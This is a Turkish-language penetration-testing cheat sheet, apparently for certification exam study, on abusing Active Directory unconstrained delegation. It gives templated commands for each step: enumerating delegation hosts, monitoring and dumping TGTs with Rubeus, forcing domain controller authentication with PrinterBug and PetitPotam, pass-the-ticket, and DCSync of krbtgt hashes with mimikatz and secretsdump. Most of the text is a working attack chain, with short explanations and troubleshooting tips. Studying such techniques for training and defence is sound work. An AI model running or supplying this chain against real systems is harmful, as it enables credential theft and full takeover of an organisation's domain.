FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE zor :88:445:135:389

Unconstrained Delegation (Kısıtlanmamış Yetki Devri) — TGT Yakalama -> DCSync

Unconstrained delegation yetkili bir bilgisayara erişim ele geçirildiğinde, ona kimlik doğrulayan her hesabın TGT'si bellekte saklanır. Rubeus monitor ile TGT toplanır, PrinterBug/PetitPotam ile DC bilgisayar hesabı zorla kimlik doğrulamaya itilir, yakalanan DC TGT ile DCSync yapılır.

Bilgi: ÖN KOŞULLAR
  • Unconstrained delegation yetkisine sahip bir host üzerinde lokal admin/SYSTEM erişimi (TrustedForDelegation bayrağı)
  • DC ile ağ erişimi (88/TCP Kerberos, 445/TCP coerce için)
  • Saat kayması (clock skew) DC ile < 5 dakika olmalı
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --trusted-for-delegation
Unconstrained delegation yetkisine sahip hesap/bilgisayarları LDAP üzerinden listele (TRUSTED_FOR_DELEGATION UAC bayrağı). DC'ler doğal olarak unconstrained'dir, ilgi çekici olan non-DC computer hesaplarıdır. NetExec Wiki - LDAP --trusted-for-delegation
powershell ✓ EXAM-SAFE user
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
PowerView ile unconstrained delegation'a sahip bilgisayarları bul. userAccountControl içinde TRUSTED_FOR_DELEGATION (0x80000) bayrağını arar. HackTricks - Unconstrained Delegation (PowerView Get-DomainComputer -Unconstrained)
ldapsearch ✓ EXAM-SAFE user
ldapsearch -x -H ldap://{{DC_IP}} -D "{{USER}}@{{DOMAIN}}" -w '{{PASS}}' -b "DC={{DOMAIN}},DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName dNSHostName
LDAP bitwise filtre ile (524288 = 0x80000 TRUSTED_FOR_DELEGATION) unconstrained delegation nesnelerini sorgula. Base DN'i hedef domain'e göre düzelt. The Hacker Recipes - Kerberos Unconstrained Delegation (LDAP UAC filter)
rubeus ✓ EXAM-SAFE admin
Rubeus.exe monitor /interval:5 /filteruser:{{DC_HOST}}$ /nowrap
Windows tarafında ele geçirilen unconstrained host üzerinde çalıştır. Gelen yeni TGT'leri 5 saniyede bir izler; filteruser ile sadece hedef DC bilgisayar hesabının ($) bileti yakalanır. Coerce öncesi başlat. HackTricks - Unconstrained Delegation (Rubeus monitor)
rubeus ✓ EXAM-SAFE admin
Rubeus.exe dump /service:krbtgt /nowrap
Alternatif: monitor yerine bellekteki tüm krbtgt TGT'lerini anlık döker. Çıktıdaki base64 .kirbi bileti pass-the-ticket için kullanılır. HackTricks - Unconstrained Delegation (Rubeus dump)
impacket ✓ EXAM-SAFE user
impacket-printerbug '{{DOMAIN}}/{{USER}}:{{PASS}}'@{{DC_IP}} {{LHOST}}
PrinterBug (MS-RPRN) ile DC'yi, ele geçirdiğin unconstrained host'a (LHOST) zorla kimlik doğrulamaya iter. Bu, DC computer TGT'sinin host belleğine düşmesini tetikler. LHOST = unconstrained host'un FQDN/IP'si olmalı. The Hacker Recipes - PrinterBug (dementor / printerbug.py)
impacket ✓ EXAM-SAFE user
impacket-petitpotam -d {{DOMAIN}} -u {{USER}} -p {{PASS}} {{LHOST}} {{DC_IP}}
PrinterBug spooler kapalıysa PetitPotam (MS-EFSR) ile coerce. DC'yi unconstrained host'a (LHOST) auth ettirir. Yine TGT yakalanır. The Hacker Recipes - PetitPotam (MS-EFSRPC coercion)
rubeus ✓ EXAM-SAFE admin
Rubeus.exe ptt /ticket:doIF...base64TGT...
Yakalanan DC bilgisayar hesabı TGT'sini mevcut oturuma enjekte et (pass-the-ticket). Sonrasında DCSync mümkün hale gelir. HackTricks - Pass the Ticket (Rubeus ptt)
mimikatz ✓ EXAM-SAFE admin
lsadump::dcsync /domain:{{DOMAIN}} /user:{{DOMAIN}}\krbtgt
DC bilgisayar hesabı bağlamında DCSync ile krbtgt (veya Administrator) hash'ini çek. DC$ hesabı replikasyon haklarına sahip olduğundan DRSUAPI GetNCChanges çalışır. HackTricks - DCSync (mimikatz lsadump::dcsync)
impacket ✓ EXAM-SAFE admin
KRB5CCNAME=dc.ccache impacket-secretsdump -k -no-pass '{{DOMAIN}}/{{DC_HOST}}$@{{DC_HOST}}' -just-dc-user krbtgt
Linux tarafı alternatif: yakalanan DC TGT'sini ccache'e çevirip (Rubeus base64 -> ticketConverter.py) secretsdump -k ile DCSync. Tüm domain için -just-dc kullan. WADComs - Impacket-secretsdump -k DCSync

Unconstrained Delegation Nedir

Kısıtlanmamış yetki devri (unconstrained delegation), bir bilgisayar veya hesabın userAccountControl alanında TRUSTED_FOR_DELEGATION (0x80000 / 524288) bayrağının açık olmasıdır. Bu host’a Kerberos ile kimlik doğrulayan her kullanıcı, kendi TGT’sinin bir kopyasını bu host’a forwardable olarak gönderir. Host bu TGT’yi LSASS belleğinde saklar ve kullanıcı adına herhangi bir servise erişebilir. Saldırgan bu host’u (SYSTEM yetkisiyle) ele geçirirse, bellekteki tüm TGT’leri çalabilir. Asıl güç, bir Domain Controller’ın bilgisayar hesabını coerce ile bu host’a auth ettirip DC$ TGT’sini yakalayıp DCSync’e dönüştürmektir.

Neden Tehlikeli

DC bilgisayar hesabı (DC$), domain üzerinde DS-Replication-Get-Changes haklarına sahiptir. DC$ TGT’sini eline geçiren saldırgan DCSync ile krbtgt dahil tüm hash’leri replike edebilir, bu da tam domain ele geçirmesi (Domain Admin) demektir.

Adımlar

  1. Enum: Domain genelinde unconstrained delegation’a sahip non-DC bilgisayarları bul (netexec —trusted-for-delegation veya PowerView Get-DomainComputer -Unconstrained). DC’ler her zaman bu listede olur, hedef ilginç olan üye sunuculardır.
  2. Erişim: Hedef unconstrained host üzerinde lokal admin/SYSTEM erişimi sağla (ayrı bir privesc zinciri).
  3. Monitor başlat: Rubeus monitor /interval:5 /filteruser:DC$ ile gelen TGT’leri dinle. Bunu coerce’den ÖNCE başlat.
  4. Coerce: Linux tarafından impacket-printerbug veya impacket-petitpotam ile DC’yi, host’un FQDN/IP’sine (LHOST) auth ettir. Spooler servisi kapalıysa PetitPotam (MS-EFSR) dene.
  5. Yakala ve enjekte: Rubeus monitor çıktısındaki base64 DC$ TGT’sini Rubeus ptt ile oturuma yükle (veya Linux’ta ticketConverter ile ccache yap).
  6. DCSync: DC$ bağlamında mimikatz lsadump::dcsync veya impacket-secretsdump -k ile krbtgt/Administrator hash’ini çek.

Gotcha’lar

  • Saat kayması: Kerberos KRB_AP_ERR_SKEW hatası için DC ile saat farkı 5 dakikadan az olmalı; Linux’ta ntpdate/sudo ntpdate {{DC_IP}} veya rdate kullan.
  • filteruser: monitor’u DC$ ile filtreleyerek sadece bilgisayar hesabı biletini yakala; computer TGT’leri makine resource SID’leri içerdiğinden coerce sonrası mutlaka gelir.
  • LHOST formatı: Coerce hedefi (listener) unconstrained host olmalı; o host DNS’te FQDN ile çözülebilmeli, aksi halde Kerberos yerine NTLM düşebilir ve TGT yakalanmaz.
  • Spooler: PrinterBug için DC’de Print Spooler servisi açık olmalı; kapalıysa PetitPotam/Coercer ile MS-EFSR, MS-DFSNM gibi alternatif coerce metodlarına geç.
  • DCSync için: Yakalanan TGT bir computer hesabına ait; DC computer hesapları zaten replikasyon haklarına sahiptir, normal bir üye sunucu TGT’si DCSync yapamaz.
┌──

Kaynaklar

0/15 set